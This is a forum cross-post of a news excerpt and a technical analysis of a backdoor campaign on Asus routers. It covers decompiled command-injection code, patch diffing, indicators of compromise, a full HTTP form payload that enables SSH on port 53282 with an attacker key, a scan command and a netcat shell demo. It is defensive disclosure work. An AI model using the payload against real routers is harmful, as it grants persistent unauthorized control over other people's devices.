cross-posted from: https://rss.ponder.cat/post/193175
Thousands of home and small office routers manufactured by Asus are being infected with a stealthy backdoor that can survive reboots and firmware updates in an attack by a nation-state or another well-resourced threat actor, researchers said.
The unknown attackers gain access to the devices by exploiting now-patched vulnerabilities, some of which have never been tracked through the internationally recognized CVE system. After gaining unauthorized administrative control of the devices, the threat actor installs a public encryption key for access to the device through SSH. From then on, anyone with the private key can automatically log in to the device with administrative system rights.
Durable control
“The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices,” researchers from security firm GreyNoise reported Wednesday. “The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.”
From Ars Technica - All content via this RSS feed
The technical analysis of that source pt 2:
spoiler
if (f_exists(“/tmp/BWSQL_LOG”) > 0) { var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, "echo “[BWDPI_SQLITE]%d/%d[%s] %s…”, i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER }
Mystery CVE!
I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: https://leeyabug.top/ASUS-SQLI
Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach.
current_page=Advanced_System_Content.asp &next_page=Advanced_System_Content.asp &modified=0 &flag= &action_mode=apply &action_wait=5 &action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B &first_time= &preferred_lang=EN &reboot_schedule_enable=0 &reboot_schedule_enable_x=0 &telnetd_enable=0 &sshd_enable=1 &sshd_port=53282 &sshd_port_x=53282 &sshd_pass=0 &sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623 &shell_timeout_x=20
This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key::
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623 Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor.
Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey? Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted.
In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username.
sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt
And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there.
“pubKeyHuntResults”: [ “ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin” ]
Demoing the Attacks
After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues.
Starting Nmap 7.80 ( https://nmap.org/ ) at 2025-03-21 13:10 EDT Nmap scan report for RT-AX55-4960 (192.168.50.1) Host is up (0.012s latency).
PORT STATE SERVICE 1111/tcp open lmsocialserver
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111 Connection to 192.168.50.1 1111 port [tcp/*] succeeded! �������� badmin@RT-AX55-4960:/tmp/bwdpi# ls ls app_patrol.conf bwdpi.rule.db key.enc tmfbe_workdir bwdpi.app.db dcd.conf libshn_pctrl.so wred.conf bwdpi.appdb.db dcd.pid model.enc wred.pid bwdpi.beh.db dcd.stat ntdasus2014.cert bwdpi.cat.db dev_wan rule.version bwdpi.devdb.db guid shn.pem
taking ARMs against a sea of troubles
While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago.
Unfortunately, the download link is broken and returns a 404 error.
Shortly afterward, the download description and link disappeared entirely.
So, I installed the latest available version and moved on. (Of course, that didn’t solve the issue.)
Patch Diffing
I do have FW_RT_AX55_300438651598.zip and FW_RT_AX55_300438652332.zip(newest) firmwares available. A quick unblob / binwalk makes quick work of extracting the squashfs-root filesystem.
The old vulnerable function looks a bit like this:
nvram_set(“oauth_google_token_status”, &data_174fea[0xf]); void var_410; memset(&var_410, 0, 0x400);
if (!check_if_dir_exist(“/tmp/oauth/”)) mkdir(“/tmp/oauth/”, 0x1ed);
snprintf(&var_410, 0x400, “wget --no-check-certificate --ti…”, 3, 1, nvram_get(), “103584452676-437qj6gd8o9tuncit9h…”, “xivDhVGSSHZ3LJMx228wdcDf”, “refresh_token”, “/tmp/oauth/google_access_token.j…”, “https://www.googleapis.com/oauth…”);
if (f_exists(“/tmp/OAUTH_DEBUG”) > 0) cprintf(“[OAUTH][%s:(%d)]post cmd : %s\n”, “oauth_google_check_token_status”, 0x5b6, &var_410);
system(&var_410); // DANGER
The newest patch available just wraps the above code in an if statement from an external function is_valid_auth_code from /usr/lib/libshared.so
if (is_valid_oauth_code()){ //Same code as before }
Authors Note: While not directly relevant to our current investigation, --no-check-certificate on the wget command means that your Google OAuth token is sent to a remote server without validating the SSL/TLS certificate. This has implications. We grab a cross-compiler toolchain for a compatible GLIBC version from https://toolchains.bootlin.com/ and cross-compile an ARM binary that will load libshared.so, dumping a list of valid characters from the new gatekeeper function, prompting us to allow playing with the input, and passing the input through the same snprintf and system calls as in the original binary.
#Cross compile armv5-eabi–glibc–stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl #ELF check file callshared.elf #Move binary into firmware squashfs root cp callshared.elf ./squashfs-root/bin/callshared.elf #Move QEMU emulator binary into squashfs root cp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static #Change root, load libshared.so, execute our hook sudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD=“/usr/lib/libshared.so” /bin/busybox sh -c “/bin/callshared.elf”
callshared.c
#include <stdio.h> #include <stdint.h> #include <dlfcn.h> #include <string.h>
#define MAX_INPUT 4096
int main() { void *handle; int (*oc)(char *); // Function pointer with return type int char *error; char input[MAX_INPUT]; int result; __uint8_t curChar;
}
The technical analysis of that source pt 3:
spoiler
This produces a list of allowed characters to get past this gate:
Dec Hex Char Dec Hex Char Dec Hex Char 0 0x00 9 0x09 10 0x0A 11 0x0B 12 0x0C 13 0x0D 32 0x20 43 0x2B + 45 0x2D - 46 0x2E . 47 0x2F / 48 0x30 0 49 0x31 1 50 0x32 2 51 0x33 3 52 0x34 4 53 0x35 5 54 0x36 6 55 0x37 7 56 0x38 8 57 0x39 9 65 0x41 A 66 0x42 B 67 0x43 C 68 0x44 D 69 0x45 E 70 0x46 F 71 0x47 G 72 0x48 H 73 0x49 I 74 0x4A J 75 0x4B K 76 0x4C L 77 0x4D M 78 0x4E N 79 0x4F O 80 0x50 P 81 0x51 Q 82 0x52 R 83 0x53 S 84 0x54 T 85 0x55 U 86 0x56 V 87 0x57 W 88 0x58 X 89 0x59 Y 90 0x5A Z 95 0x5F _ 97 0x61 a 98 0x62 b 99 0x63 c 100 0x64 d 101 0x65 e 102 0x66 f 103 0x67 g 104 0x68 h 105 0x69 i 106 0x6A j 107 0x6B k 108 0x6C l 109 0x6D m 110 0x6E n 111 0x6F o 112 0x70 p 113 0x71 q 114 0x72 r 115 0x73 s 116 0x74 t 117 0x75 u 118 0x76 v 119 0x77 w 120 0x78 x 121 0x79 y 122 0x7A z 126 0x7E ~ The originally vulnerable CVE-2023-39780 workflow for auth_google_check_token_status appears to be correctly patched in FW_RT_AX55_300438652332. is_valid_oauth_code interestingly validates a buffer size of 2048 bytes while it’s passed to snprintf with a size of 1024, so truncation can occur. However, because the token is formatted inside of single-quotes ’ this only results in a shell error. I don’t believe escaping the single-quotes of this particular function is possible given the allowed characters.
–body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(…)
sh: syntax error: unterminated quoted string
And since we don’t trust vendors to be thorough, we should go check the other 4 functions that are nearly identical to auth_google_check_token_status that the developers may have forgotten to use single-quotes. Alternatively, if you’re not a reverse engineer capable of checking this for yourself, get your ASUS router off the internet.
Summary and IoCs
IPs:
101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 ASUS Filesystem:
/tmp/BWSQL-LOG /tmp/home/root/.ssh/authorized_keys Pubkey:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048